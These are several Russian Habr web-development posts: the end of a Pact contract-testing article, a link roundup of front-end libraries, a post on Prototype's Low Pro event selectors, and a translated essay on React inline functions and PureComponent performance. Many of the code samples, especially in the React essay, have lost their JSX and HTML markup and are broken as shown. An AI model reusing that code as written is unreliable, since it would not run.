* Pact пока не поддерживает GRPC. Подробнее про roadmap Pact [pact.canny.io](https://pact.canny.io/).
* Подробнее про PACT на [docs.pact.io](https://docs.pact.io/).
* Почему стоит использовать PACT [docs.pact.io/faq/convinceme](https://docs.pact.io/faq/convinceme)
### Как CDC можно встроить в CI
* самостоятельно развернув Pact + Pact broker;
* приобрести готовое решение Pact Flow SaaS.
### Вывод
Pact нужен для обеспечения соответствия контрактов. Он покажет, когда изменения контрактов нарушают ожидания сервисов-потребителей.
Этот инструмент годится, когда поставщик подстраивается под заказчика – клиента. Такое возможно только внутри изолированной системы.
Если вы делаете сервис для внешнего мира и не знаете кто ваши клиенты, то Pact не для вас.` | https://habr.com/ru/post/502652/ | null | ru | null |
# Несколько интересностей и полезностей для веб-разработчика #28
Доброго времени суток, уважаемые хабравчане. За последнее время я увидел несколько интересных и полезных инструментов/библиотек/событий, которыми хочу поделиться с Хабром.
#### [roBrowser](https://github.com/vthibault/roBrowser/)
[](https://github.com/vthibault/roBrowser/)
roBrowser — open source клон клиента достаточно популярной MMORPG игры Ragnarok Online в браузере. Проект разрабатывается по последним стандартам W3C — WebGL, HTML5, File API, Javascript, Threads… Небольшой ролик с демонстрацией игры:
#### [Идеальный слайдер](https://github.com/gilbitron/Ideal-Image-Slider)
[](https://github.com/gilbitron/Ideal-Image-Slider)
Самый простой в эксплуатации слайдер, но с правильной HTML5 семантикой (даже есть поддержка W3C ARIA), дружелюбием к SEO, CSS3 анимациями, адаптивной версткой и реакцией на трогательные события. А еще есть API с событиями, методами и опциями.
```
![]()
![]()
![]()
new IdealImageSlider.Slider('#slider');
```
#### [Hello.js](https://github.com/MrSwitch/hello.js)
Javascript RESTFUL API для аутентификации с OAuth2/OAuth1 сервисами, такими как Google+ API, Facebook Graph, Windows Live Connect. На странице проекта есть много демок, которые позволяет вам сэкономить время на знакомство с библиотекой. А репозиторий собрал уже более 2000 звезд на GitHub.
```
hello.on('auth.login', function(r){
// Get Profile
hello( r.network ).api( '/me' ).then( function(p){
var label = document.getElementById(r.network)
label.innerHTML = "![]()Connected to "+ r.network+" as " + p.name;
});
});
hello.init({
google : CLIENT_IDS.google,
windows : CLIENT_IDS.windows,
facebook : CLIENT_IDS.facebook
},{
redirect_uri:'../redirect.html'
});
```
#### [KaTeX](https://github.com/Khan/KaTeX)
[](https://github.com/Khan/KaTeX)
JavaScript библиотека для отрисовки математических формул в вебе от команды разработчиков платформы для онлайн образования Khan Academy. KaTeX на данный момент уступает по функционалу своему известному аналогу MathJax, но в десятки раз опережает его по производительности. Работает во всех последних браузерах Chrome, Safari, Firefox, Opera, и IE 8 — IE 11.
#### [Accessible HTML5 Video Player](https://github.com/paypal/accessible-html5-video-player/)
[](https://github.com/paypal/accessible-html5-video-player/)
> Специалисты PayPal, которые уже раньше отметились таким продуктом как Bootstrap Accessibility Plugin, решили на этот раз взяться за решение проблемы доступности видеоконтента и решить её исключительно в рамках HTML5 без каких-либо дополнительных зависимостей или сторонних плагинов. Перед проектом были поставлены следующие цели:
>
> * Использовать последние технологии HTML5 в отношении встраивания видео, элементов управления и субтитров;
> * Минимизировать вес кода (5 kB CSS и 18 kB JS);
> * Обеспечить полное клавиатурное управление и доступность для программ невизуального экранного доступа;
> * Обеспечить поддержку субтитров (используется WebVTT).
>
>
>
>
[«Готовое решение доступного видеоплеера на HTML5»](http://habrahabr.ru/post/236641/) [Tseikovets](https://habrahabr.ru/users/tseikovets/)
#### [iOS 8 Illustrator Vector UI Kit Update](http://mercury.io/blog/ios-8-illustrator-vector-ui-kit-update)
[](http://mercury.io/downloads/ios8_vector_ui_kit_by_mercury_intermedia_ai.zip)
#### [SVG Circus — инструмент для созданий SVG анимаций](http://svgcircus.com/)
[](http://svgcircus.com/)
#### Западные мысли или что стоило бы перевести на Хабре:
* [If programming languages were weapons](http://bjorn.tipling.com/if-programming-languages-were-weapons)
* [Optimization killers](https://github.com/petkaantonov/bluebird/wiki/Optimization-killers)
* [Hack the](https://the-pastry-box-project.net/sorin-pintilie/2014-August-25)
* [Using SVG to shrink your PNGs](http://peterhrynkow.com/how-to-compress-a-png-like-a-jpeg/?utm_content=bufferfde50&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer)
* [Master Sass Syllabus](https://www.drawar.com/web/course/sass)
* [Used and Abused – CSS Inheritance and Our Misuse of the Cascade](http://www.phase2technology.com/blog/used-and-abused-css-inheritance-and-our-misuse-of-the-cascade/)
* [Symmetry, Size, Speed, and CSS Shapes](http://uxmag.com/articles/symmetry-size-speed-and-css-shapes)
* [Get Started Building Your Blog with Parse.js](http://code.tutsplus.com/tutorials/get-started-building-your-blog-with-parsejs--cms-21997)
* [Add Rules to Stylesheets with JavaScript](http://davidwalsh.name/add-rules-stylesheets)
* [Useful Tips for Building JavaScript APIs](http://www.onextrapixel.com/2014/08/28/useful-tips-for-building-javascript-apis/)
* [Black Box Driven Development in JavaScript](https://hacks.mozilla.org/2014/08/black-box-driven-development-in-javascript/)
* [Git & GitHub for Front-End Developers](http://blog.4digits.net/git-for-front-end-developers/)
* [10 Ways to Earn Money from Your Site](http://www.sitepoint.com/10-ways-earn-money-from-your-site/?utm_content=buffera0f03&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer)
* [How to Improve Page Performance with a Font Loader](http://www.sitepoint.com/improve-page-performance-font-loader/?utm_content=buffer618e0&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer)
* [Selecting typefaces for body text](http://practice.typekit.com/lesson/selecting-typefaces-for-body-text/)
* [Internal Developer Training: Doing It Right](http://www.smashingmagazine.com/2014/09/05/internal-developer-training-doing-it-right/)
* [The Current State Of E-Commerce Search](http://www.smashingmagazine.com/2014/08/18/the-current-state-of-e-commerce-search/)
* [Re-designing busuu](https://medium.com/@whebdesign/re-designing-busuu-f130a1de6473)
* [Persona’s Machine-Learning App Lets People Follow Different Sides Of Your Twitter Identity](http://techcrunch.com/2014/09/07/prismatic-identity/)
* [Work Life Imbalance](http://alistapart.com/column/work-life-imbalance)
* [For the Copy and Paste Programmers](http://tommcfarlin.com/copy-and-paste-programmers/)
* [Improving Smashing Magazine’s Performance: A Case Study](http://www.smashingmagazine.com/2014/09/08/improving-smashing-magazine-performance-case-study/)
#### Говорит и показывает Хабр:
* [«Команда разработчиков графического языка Processing представила официальную JavaScript-библиотеку p5.js»](http://habrahabr.ru/company/nordavind/blog/236621/)
[«Эффект неисправного монитора для текста, картинок и SVG»](http://habrahabr.ru/post/236263/) от [ilya42](https://habrahabr.ru/users/ilya42/)
* [«Github, Reddit и StackExchange предложили стандартный синтаксис Markdown»](http://habrahabr.ru/post/235611/)
[«Часы на кривых Безье»](http://habrahabr.ru/post/236455/) от [alizar](https://habrahabr.ru/users/alizar/)
* [«Вы разрушили HTML»](http://habrahabr.ru/post/236045/) от [bbmm](https://habrahabr.ru/users/bbmm/)
* [«30 полезных сервисов для веб-разработчиков и дизайнеров v2»](http://habrahabr.ru/post/236219/) от [Scorpion97](https://habrahabr.ru/users/scorpion97/)
* [«Выбираем генератор статических сайтов»](http://habrahabr.ru/company/selectel/blog/236441/) от [AndreiYemelianov](https://habrahabr.ru/users/andreiyemelianov/)
* [«WinJS + универсальные приложения. Изучаем FlipView»](http://habrahabr.ru/company/microsoft/blog/237333/) от [a\_bogdanova](https://habrahabr.ru/users/a_bogdanova/)
* [«Веб-компоненты в реализации Polymer от Google»](http://habrahabr.ru/post/237421/) от [pofigizm](https://habrahabr.ru/users/pofigizm/)
* [«Centrifuge — я больше не буду обновлять страницу перед отправкой комментария»](http://habrahabr.ru/company/mailru/blog/237257/) от [FZambia](https://habrahabr.ru/users/fzambia/)
* [«Анализ рендеринга через Skia Debugger: как можно найти самые дорогие для отрисовки элементы»](http://habrahabr.ru/company/mailru/blog/236021/) от [burlakilia](https://habrahabr.ru/users/burlakilia/)
* [«CSS-препроцессоры против постпроцессоров»](http://habrahabr.ru/post/235929/) от [Grawl](https://habrahabr.ru/users/grawl/)
* [«Я нашёл ошибку в браузере!»](http://habrahabr.ru/company/opera/blog/236239/) от [pepelsbey](https://habrahabr.ru/users/pepelsbey/)
* [«Новости DerbyJS 09.2014»](http://habrahabr.ru/post/236529/) от [vmakhaev](https://habrahabr.ru/users/vmakhaev/)
* [«Подборка занимательных CSS рецептов «Голые пятницы #2»»](http://habrahabr.ru/company/wargaming/blog/235889/) от [Paul\_King](https://habrahabr.ru/users/paul_king/)
* ["«Нет времени объяснять!» или Как реализовать трансляцию с IP камеры на сайт?"](http://habrahabr.ru/post/236359/) от [dnbdrive](https://habrahabr.ru/users/dnbdrive/)
* [«Странный глюк Git, чуть не стоивший 10 часов работы»](http://habrahabr.ru/post/236351/) от [fetis26](https://habrahabr.ru/users/fetis26/)
#### Напоследок:
* Вышла книга [«Сюрреализм на JavaScript»](http://bakhirev.biz/book/index.html), в которой собраны различные советы о том, как создавать игры и другие сложные приложения на JavaScript.
[](http://bakhirev.biz/book/index.html)
[Скачать в .PDF](http://bakhirev.biz/book/files/Surrealism_on_JavaScript.pdf.max.zip)
* Замечательные новости по iOS 8:
* [Colors](https://github.com/mrmrs/colors) — улучшаем цвета заданные по умолчанию в браузерах.
* [Сross Storage](https://github.com/zendesk/cross-storage) — кроссдоменное локальное хранилище с правами доступа.
* [Pioneer](https://github.com/mojotech/pioneer) — делает код понятным при интеграционном тестировании не только для разработчиков, но и для менеджеров.
* [Animsition](http://git.blivesta.com/animsition/) — простой jQuery плагин для CSS анимаций.
* [Rollerblade.js](http://www.iamapioneer.com/plugins/rollerblade/) — 360° «вращатель для изображений».
* [Paths.js](https://github.com/andreaferretti/paths-js) — генерирует SVG path для геометрических форм.
* [Lineman.js](https://github.com/linemanjs/lineman/) — библиотека для работы с большими клиентскими приложениями.
* [Сomcastify.js](https://github.com/theonion/comcastifyjs/) — искусственное замедление загрузки изображений.
* [Postscribe](https://github.com/krux/postscribe) — асинхронный JavaScript, даже для `document.write`.
* [Bleve](https://github.com/blevesearch/bleve) — продвинутое индексирование текста для Go.
* [Mailinabox](https://github.com/mail-in-a-box/mailinabox) — превосходный mail сервер на Python.
* [Dejavu](https://github.com/worldveil/dejavu) — audio fingerprinting and recognition in Python.
* [Weave](https://github.com/zettio/weave) — The Docker Network.
* [Volt](https://github.com/voltrb/volt) — Ruby web framework.
* [Toshi](https://github.com/coinbase/toshi) — библиотека для работы с Bitcoin на Ruby.
* [Pup](https://github.com/EricChiang/pup) — парсим HTML в терминале.
* [Drupal X-Ray](http://www.drupalxray.com/) — небольшой сервис, который определяет установленные Drupal модули.
* [Минималистичный плагин менеджер для Vim
](https://github.com/junegunn/vim-plug)
[**Предыдущая подборка (Выпуск 27)**](http://habrahabr.ru/post/235545/)
Приношу извинения за возможные опечатки. Если вы заметили проблему — напишите, пожалуйста, в личку.
Спасибо всем за внимание. | https://habr.com/ru/post/236683/ | null | ru | null |
# Prototype: селекторы и события
[Prototype](http://www.prototypejs.org/ "Prototype") определённо одна из мощнейших Javascript библиотек, но у неё есть один небольшой недостаток который зачастую ошибочно принимают за большой — отсутствие родной поддержки связывания селекторов с событиями. Для сравнения — в [jquery.com](http://jquery.com/)» title-«jQuery»>jQuery это одна из основных фич и трудно вообще представить [jquery.com](http://jquery.com/)» title-«jQuery»>jQuery без этого. Для тех кто не в курсе — это возможность отделять наш Javascript от XHTML посредством CSS селекторов, большинство таких событий как *onclick*, *onmouseover*, *onmouseout*, *onblur*, *onfocus* и тому подобные.
Одним из первых решений данной проблемы опубликовал некто [Ben Nolan](http://bennolan.com). Он написал [Behaviour](http://bennolan.com/behaviour) небольшой плагин который решил эту проблему и вполне пригоден и сейчас. Его минус это большие портянки кода для правил и негибкость переиспользования этих правил в этоге большой размер скрипта. Благодаря [jquery.com](http://jquery.com/)» title-«jQuery»>jQuery лёгкости и минимальности написания кода на нём, кое кто подумал что пора заимплиментить такой же стиль в [Prototype](http://www.prototypejs.org/ "Prototype"). И вот [Justin Palmer](http://encytemedia.com "Justin Palmer Website") после недолгих раздумий учтя минусы [Behaviour](http://bennolan.com/behaviour) написал [event:Selectors](http://alternateidea.com/event-selectors/ "event:Selectors"). Это было уже гораздо ближе к [jquery.com](http://jquery.com/)» title-«jQuery»>jQuery плюс возможность группировать несколько и более разных селекторов с разными событиями используя **псевдо селекторы событий**. В [jquery.com](http://jquery.com/)» title-«jQuery»>jQuery такой возможности нет, хотя в принципе она и не особо востребована. К большому сожалению этот плагин не стал развиватся и так и остался в версий 1.0 с некоторым количеством багов. Скорее всего его развитие остановилось в связи с появлением очередного UJS плагина от парня с говорящей фамилией [Dan Webb](http://www.danwebb.net "Dan Webb"). Его решение называетса [Low Pro](http://www.danwebb.net/lowpro "Low Pro") и являетса мощным инструментом так как расширяет [Prototype Event API](http://prototypejs.org/api/event "Prototype Event API"). Причем хочу заметить что есть версия плагина для [jquery.com](http://jquery.com/)» title-«jQuery»>jQuery.
Скачать [Low Pro](http://www.danwebb.net/lowpro "Low Pro") можно [здесь](http://svn.danwebb.net/external/lowpro/tags/rel_0.5/dist/lowpro.js "Low Pro 0.5")
Ну а теперь давайте посмотрим его в действии:
Сначала включим наши библиотеки в XHTML и не забывайте — чтобы всё работало ваш XHTML должен быть **валидным**, иначе Javascript может вести себя непредсказуемо.
В main.js мы будем добавлять наши правила.
**Пример 1:**
```
Event.addBehavior({
'div.myclass a:click' : function(e) {
alert('Example 1');
return false;
}
});
```
И вот наше первое правило которое перехватывает *onclick* событие во всех «div» с классом «myclass» для всех элементов «a». **return false** нужен чтобы не сработало обычное поведение елемента «a».
**Пример 2:**
```
Event.addBehavior({
'div.myclass a:click' : function(e) {
alert('Example 1');
return false;
},
'div[id*=cde]:click, div[id$=cd]:mouseover, div[id^=abcdef]:mouseout' : function(e) {
alert('Example 2');
}
});
```
В этом примере используютса CSS селекторы аттрибутов третьего уровня и группировка правил с разными событиями.
Как видите всё очень просто, писать больше примеров я думаю не стоит, лучше скачайте их [здесь](http://www.baltek.lv/files/js/selectors.rar "Event Selectors Examples") | https://habr.com/ru/post/23253/ | null | ru | null |
# React, встроенные функции и производительность
Когда мне приходится рассказывать о React, или когда я даю первую лекцию учебного курса, показывая всякие интересные вещи, кто-нибудь непременно спросит: «Встроенные функции? Слышал, они медленные».
[](https://habrahabr.ru/company/ruvds/blog/340034/)
Этот вопрос появлялся далеко не всегда, но в последние несколько месяцев мне, в роли автора библиотеки и преподавателя, приходится отвечать на него чуть ли не каждый день, иногда — на лекциях, иногда — в твиттере. Честно говоря, я от этого уже устал. К сожалению, я не сразу сообразил, что лучше изложить всё в виде статьи, которая, надеюсь, окажется полезной для тех, кто задаётся вопросами производительности. Собственно говоря — перед вами плод моих трудов.
Что такое «встроенная функция»?
-------------------------------
В контексте React то, что называют встроенной функцией (inline function) — это функция, которая определяется в процессе рендеринга. В React есть два значения понятия «рендеринг», которые часто путают. Первое относится к получению элементов React из компонентов (вызов методов `render` компонентов) в процессе обновления. Второе — это реальное обновление фрагментов страницы путём модификации DOM. Когда я в этой статье говорю о «рендеринге», то имею в виду именно первый вариант.
Вот несколько примеров встроенных функций:
```
class App extends Component {
// ...
render() {
return (
{/\* 1. встроенный обработчик событий "компонента DOM" \*/}
{
this.setState({ clicked: true })
}}
>
Click!
{/\* 2. "Кастомное событие" или "действие" \*/}
{
this.setState({ sidebarIsOpen: isOpen })
}}/>
{/\* 3. Коллбэк свойства render \*/}
(
{match.params.id}
=================
}
)
/>
)
}
}
```
Преждевременная оптимизация — корень всех зол
---------------------------------------------
Прежде чем продолжать, нам нужно поговорить о том, как оптимизировать программы. Спросите любого профессионала в области производительности, и он скажет вам, что преждевременная оптимизация — это зло. Это относится абсолютно ко всем программам. Любой, кто знает толк в оптимизации, может это подтвердить.
Помню выступление моего друга Ральфа Холзманна, посвящённое `gzip`, которое по-настоящему упрочило во мне эту идею. Он говорил об эксперименте, который провёл с `LABjs`, старой библиотекой для загрузки скриптов. Можете посмотреть это [выступление](https://vimeo.com/34164210). То, о чём я тут говорю, происходит в течение примерно двух с половиной минут, начинаясь с 30-й минуты видео.
В то время в [LABjs](https://github.com/getify/LABjs) было сделано кое-что странное, направленное на оптимизацию размера готового кода. Вместо использования обычной объектной нотации (`obj.foo`) там применялось хранение ключей в строках и использование квадратных скобок для доступа к содержимому объектов (`obj[stringForFoo]`). Причиной подобного было то, что после минификации и сжатия кода с помощью `gzip` [необычно написанный код](https://github.com/getify/LABjs/blob/b23ee3fcad12157cf8f6a291cb54fd7550ac7f3b/LAB.src.js#L7-L34) должен был бы стать меньше, чем код, который написан привычным способом.
Ральф сделал форк этого кода и убрал оптимизацию, переписав его привычным способом, не думая о том, как оптимизировать код для минификации и gzip-сжатия.
Оказалось, что избавление от «оптимизации» позволило сократить размер итогового файла на 5.3%! Очевидно, автор библиотеки писал её сразу в «оптимизированном» виде, не проверяя, даст ли это какие-то преимущества. Без измерений невозможно узнать, улучшает ли что-нибудь некая оптимизация. Кроме того, если оптимизация только ухудшает положение дел, вы об этом тоже не узнаете.
Преждевременная оптимизация не только может значительно увеличить время разработки, ухудшая чистоту кода, она может иметь негативные последствия и привести к проблемам, как это было с LABjs. Если бы автор библиотеки проводил замеры вместо того, чтобы воображать проблемы с производительностью, он сэкономил бы время на разработку, выпустил бы более чистый код, обладающий лучшими характеристиками.
Процитирую тут [этот твит](https://twitter.com/mjackson/status/909834812877283330?ref_src=twsrc%5Etfw&ref_url=https%3A%2F%2Fcdb.reacttraining.com%2Fmedia%2Fdfe70e945f32c97d0a6cdd2f23b5e42f%3FpostId%3Dbdff784f5578): «Меня раздражает, когда люди, развалившись в кресле, рассуждают о том, что некий код будет медленным для решения их задач, не проводя никаких замеров производительности». Я эту точку зрения поддерживаю.
Итак, повторюсь — не занимайтесь преждевременной оптимизацией. А теперь — вернёмся к React.
Почему говорят, что встроенные функции ухудшают производительность?
-------------------------------------------------------------------
Встроенные функции считают медленными по двум причинам. Во-первых — это связано с опасениями, касающимися потребления памяти и сборки мусора. Во вторых — из-за `shouldComponentUpdate`. Разберём эти опасения.
### ▍Потребление памяти и сборка мусора
Для начала, программисты (и [конфигурации estlint](https://github.com/yannickcr/eslint-plugin-react/blob/master/docs/rules/jsx-no-bind.md)) обеспокоены потреблением памяти и нагрузкой на систему от сборки мусора при создании встроенных функций. Это — наследие тех дней, когда стрелочные функции в JS ещё не получили широкого распространения. Если в React-коде, во встроенных конструкциях, часто использовалась команда `bind`, это, исторически, вело к плохой производительности. Например:
```
{stuff.map(function(thing) {
{thing.whatever}
}.bind(this)}
```
Проблемы с `Function.prototype.bind` [были исправлены здесь](http://benediktmeurer.de/2015/12/25/a-new-approach-to-function-prototype-bind/), а стрелочные функции, либо применялись как встроенные возможности языка, либо транспилировались с помощью babel в обычные функции. И так и так мы можем считать, что медленными они не являются.
Помните о том, что не надо делать предположений о том, что некий код окажется медленным. Пишите код так, как делаете это всегда и замеряйте производительность. Если удаётся найти какие-то проблемы — исправляйте их. Вам не надо доказывать, что стрелочные функции работают быстро — пусть кто-нибудь другой докажет, что они медленны. Иначе это — преждевременная оптимизация.
Насколько я знаю, никто пока не привёл исследование своего приложения, указывающее на то, что встроенные функции приводят к проблемам с производительностью. До этого момента не стоит даже об этом говорить, однако, я, в любом случае, поделюсь тут ещё одной идеей.
Если нагрузка на систему от создания встроенной функции достаточно высока для того, чтобы создавать специальное правило eslint для предотвращения этого, с чего бы нам стремиться перемещать эти тяжёлые операции в весьма важный с точки зрения воздействия на скорость работы системы блок инициализации?
```
class Dashboard extends Component {
state = { handlingThings: false }
constructor(props) {
super(props)
this.handleThings = () =>
this.setState({ handlingThings: true })
this.handleStuff = () => { /* ... */ }
// ещё больше нагрузки на систему с bind
this.handleMoreStuff = this.handleMoreStuff.bind(this)
}
handleMoreStuff() { /* ... */ }
render() {
return (
{this.state.handlingThings ? (
) : (
)}
)
}
}
```
Занимаясь предварительной оптимизацией, мы замедлили инициализацию компонента в три раза. Если бы все обработчики событий были встроенными функциями, первоначальному вызову `render` надо было бы создать лишь одну функцию. Вместо этого мы создаём три. Причём, никаких замеров производительности не проводилось, поэтому у нас нет причины считать это проблемой.
Однако, опять же, не стоит увлекаться идеей переноса всего, что надо и не надо во встроенные функции. Если, вдохновившись вышеприведённой идеей, некто решит создать eslint-правило, которое будет требовать повсеместного использования встроенных функций для ускорения первоначального рендеринга, то перед нами окажется всё та же вредная преждевременная оптимизация.
### ▍PureComponent и shouldComponentUpdate
Настоящая суть проблемы кроется в `PureComponent` и `shouldComponentUpdate`. Для того, чтобы осмысленно заниматься оптимизацией производительности, нужно понимать две вещи: особенности `shouldComponentUpdate`, и то, как работает сравнение на строгое равенство в JavaScript. Не понимая этих концепций, можно, пытаясь сделать код быстрее, только всё ухудшить.
Когда вызывают `setState`, React сравнивает старый элемент с новым (это называется [согласованием](https://reactjs.org/docs/reconciliation.html)), а затем использует полученную информацию для обновления элементов реального DOM. Иногда эта операция может происходить довольно медленно, если имеется слишком много элементов, которые надо проверять (что-то вроде большого SVG). В таких случаях React предоставляет обходной путь, который называется `shouldComponentUpdate`.
```
class Avatar extends Component {
shouldComponentUpdate(nextProps, nextState) {
return stuffChanged(this, nextProps, nextState))
}
render() {
return //...
}
}
```
Если у компонента задан `shouldComponentUpdate`, прежде чем React сравнит старый и новый элементы, он обратится к `shouldComponentUpdate` для того, чтобы узнать о том, изменилось ли что-нибудь. Если в ответ вернётся `false`, React полностью пропустит операцию сравнения элементов, что сэкономит какое-то время. Если компонент достаточно велик, это может привести к заметному влиянию на производительность.
Самый распространённый способ оптимизации компонента — расширение `React.PureComponent` вместо `React.Component`. `PureComponent` будет сравнивать свойства и состояние в `shouldComponentUpdate`, в результате, вам не придётся делать это самостоятельно.
`class Avatar extends React.PureComponent { ... }`
Класс `Avatar` теперь использует строгое сравнение на равенство при работе со свойствами и состоянием прежде чем запрашивать обновления. Можно ожидать, что это ускорит работу программы.
### ▍Сравнение на строгое равенство
В JavaScript существует шесть примитивных типов: `string`, `number`, `boolean`, `null`, `undefined`, и `symbol`. Когда выполняют строгое сравнение двух переменных примитивных типов, которые хранят оно и то же значение, получается `true`. Например:
```
const one = 1
const uno = 1
one === uno // true
```
Когда `PureComponent` сравнивает свойства, он использует строгое сравнение. Это отлично работает для встроенных примитивных значений вроде .
Проблема при сравнении свойств возникает для других типов, то есть, извините — единственного типа. Всё остальное в JS — это `Object`. А как же функции и массивы? На самом деле всё это — объекты. Позволю себе процитировать выдержку из [документации MDN](https://developer.mozilla.org/ru/docs/Web/JavaScript/Data_structures): «Функции — это обычные объекты, имеющие дополнительную возможность быть вызванными для исполнения».
Ну что тут скажешь — JS это JS. В любом случае, строгое сравнение разных объектов, если даже они содержат одни и те же значения, вернёт `false`.
```
const one = { n: 1 }
const uno = { n: 1 }
one === uno // false
one === one // true
```
Итак, если вы встраиваете объект в JSX-код, адекватное сравнение свойств в `PureComponent` окажется невозможным, в результате чего будет произведено более трудоёмкое сравнение элементов React. Это сравнение выяснит лишь то, что компонент не изменился, как результат — потеря времени на двух сравнениях.
```
// первый рендер
// следующий рендер
// сравнение свойств полагает, что что-то изменилось, так как {} !== {}
// сравнение элементов (согласование) выясняет, что ничего не изменилось
```
Так как функции — это объекты, и `PureComponent` выполняет строгую проверку на равенство свойств, сравнение встроенных функций при анализе свойств всегда оканчивается сообщением о том, что они разные, после чего будет осуществлён переход к сравнению элементов в ходе процедуры согласования.
Вы можете заметить, что относится это не только ко встроенным функциям. То же самое можно сказать и об обычных объектах, и о массивах.
Для того, чтобы `shouldComponentUpdate` делал при сравнении одинаковых функций то, чего мы от него ожидаем, нужно сохранять ссылочную идентичность функций. Для опытных JS-разработчиков это — не такая уж и плохая новость. Но, если учесть то, что [Майкл](https://medium.com/@mjackson) и я узнали после обучения примерно 3500 человек, имеющих различный уровень подготовки, можно отметить, что эта задача оказалась для наших учеников не такой уж и простой. Надо отметить, что и классы ES тут не помогают, поэтому в данной ситуации приходится пользоваться другими возможностями JS:
```
class Dashboard extends Component {
constructor(props) {
super(props)
// Используем bind? Это замедляет инициализацию и, если такое повторяется раз 20,
// ужасно смотрится.
// Кроме того, это увеличивает размер пакета.
this.handleStuff = this.handleStuff.bind(this)
// _this - это дурной тон.
var _this = this
this.handleStuff = function() {
_this.setState({})
}
// Если вам доступны классы ES, то, возможно, вы можете использовать и
// стрелочные функции (то есть, работаете с babel или с современным браузером).
// Это не так уж и плохо, но перемещение всех обработчиков в конструктор - это уже
// не так уж и хорошо.
this.handleStuff = () => {
this.setState({})
}
}
// так куда лучше, но это пока за пределами JavaScript,
// поэтому тут можно задаться вопросом о том, как работает комитет TC39 и
// как он оценивает предложения по языку.
handleStuff = () => {}
}
```
Тут надо отметить, что изучение приёмов сохранения ссылочной идентичности функций ведёт к удивительно длинным беседам. У меня нет причин призывать к этому программистов, разве что им захочется выполнить требования их конфигурации eslint. Главное, что мне хотелось показать — это то, что встроенные функции не мешают оптимизации. А теперь поделюсь собственной историей оптимизации производительности.
Как я работал с PureComponent
-----------------------------
Когда я впервые узнал о `PureRenderMixin` (это — конструкция из ранних версий React, которая позже превратилась в `PureComponent`), я использовал множество измерений и оценил производительность моего приложения. Затем я добавил `PureRenderMixin` ко всем компонентам. Когда я предпринял измерение производительности оптимизированной версии, то надеялся, что в результате всё будет так замечательно, что я смогу с гордостью всем об этом рассказывать.
Однако, к моему великому удивлению, приложение стало работать медленнее.
Почему? Подумаем об этом. Если у вас есть некий `Component`, сколько операций сравнения приходится выполнять при работе с ним? А если речь идёт о `PureComponent`? Ответы, соответственно, заключаются в следующем: «только одно», и «как минимум одно, а иногда — два». Если обычно компонент при обновлении меняется, то `PureComponent` будет выполнять две операции сравнения вместо одной (свойства и состояние в `shouldComponentUpdate`, а затем — обычное сравнение элементов). Это означает, что обычно `PureComponen`t будет медленнее, но иногда — быстрее. Очевидно, большинство моих компонентов постоянно менялись, поэтому, в целом, приложение стало работать медленнее. Печально.
Универсального ответа на вопрос: «Как повысить производительность?» нет. Ответ можно найти только в замерах производительности конкретного приложения.
О трёх сценариях использования встроенных функций
-------------------------------------------------
В начале материала я показал три типа встроенных функций. Теперь, когда подготовлена некоторая база, поговорим о каждом из них. Но, пожалуйста, помните о том, что `PureComponent` лучше попридержать до тех пор, пока у вас не будет измерений для того, чтобы оценить выгоды от использования этого механизма.
### ▍Обработчик событий компонента DOM
```
this.setState(…)}
>click
```
Обычно внутри обработчиков событий для кнопок, полей ввода и других компонентов DOM, не делается ничего кроме вызова `setState`. Это обычно делает встроенные функции наиболее чистым подходом. Вместо того, чтобы прыгать по файлу в поисках обработчиков событий, их можно найти в коде описания элемента. Сообщество React обычно приветствует подобное.
Компонент `button` (и любой другой компонент DOM) даже не может быть `PureComponent`, поэтому тут не нужно беспокоиться о `shouldComponentUpdate` и о ссылочной идентичности.
В результате, это можно считать медленным только в том случае, если согласиться с тем, что простое определение функции — это достаточно большая нагрузка на систему, о которой стоит беспокоиться. Нет подтверждений того, что это так. Неоправданное избавление от встроенных обработчиков событий — это знакомая нам преждевременная оптимизация.
### ▍«Кастомное событие» или «действие»
```
{
this.setState({ sidebarIsOpen: isOpen })
}}/>
```
Если `Sidebar —` это `PureComponent`, мы не пройдём сравнение свойств. Опять же, так как обработчик прост, его встраивание может оказаться наилучшим выходом.
Теперь поговорим о событиях вроде вроде `onToggle`, и о том, почему `Sidebar` занимается их сравнением. Есть лишь две причины поиска различий в свойствах в `shouldComponentUpdate`:
1. Свойство используют для рендеринга.
2. Свойство используют ради достижения побочного эффекта в `componentWillReceiveProps`, в `componentDidUpdate`, или в `componentWillUpdate`.
Большинство свойств вида `on` не соответствуют этим требованиям. Таким образом, большинство вариантов использования `PureComponent` ведут к выполнению ненужных сравнений, что принуждает разработчиков поддерживать, без необходимости, ссылочную идентичность обработчиков.
Надо сравнивать только те свойства, которые могут меняться. Таким образом, обработчики могут находиться в коде описания элемента, и всё это будет работать быстро, а если уж нас беспокоит производительность, можно отметить, что при таком подходе надо будет меньше сравнений.
Для большинства компонентов я бы посоветовал создать класс `PureComponentMinusHandlers` и наследоваться от него, вместо того, чтобы наследоваться от `PureComponent`. Это поможет просто пропустить все проверки функций. Как раз то, что нужно. Ну — почти то, что нужно.
Если вы получите функцию и передадите эту функцию напрямую в другой компонент, он окажется устаревшим. Взгляните на это:
```
// 1. Приложение передаст свойство форме.
// 2. Форма собирается передать функцию кнопке,
// которая перекрывает свойство, полученное от приложения.
// 3. Приложение собирается выполнить setState после монтирования и передать
// *новое* свойство форме.
// 4. Форма передаёт новую функцию кнопке, перекрывая
// новое свойство.
// 5. Кнопка проигнорирует новую функцию и не сможет
// обновить обработчик нажатия, её передача будет осуществлена
// с устаревшими данными.
class App extends React.Component {
state = { val: "one" }
componentDidMount() {
this.setState({ val: "two" })
}
render() {
return
}
}
const Form = props => (
{
submit(props.value)
}}
/>
)
class Button extends React.Component {
shouldComponentUpdate() {
//Давайте представим, будто мы сравнили всё, кроме функции.
return false
}
handleClick = () => this.props.onClick()
render() {
return (
This one is stale
this.props.onClick()}>This one works
This one works too
)
}
}
```
→ [Здесь](https://codesandbox.io/s/v38y6zk8ml) с этим кодом можно поэкспериментировать.
Итак, если вам нравится идея наследоваться от `PureRenderWithoutHandlers`, не передавайте ваши обработчики, не участвующие в сравнении, напрямую другим компонентам — их надо каким-то способом обернуть.
Теперь нам либо надо поддерживать ссылочную идентичность, либо избегать ссылочной идентичности! Добро пожаловать в оптимизацию производительности. Как минимум, при таком подходе нагрузка ложится на оптимизированный компонент, а не на код, использующий его.
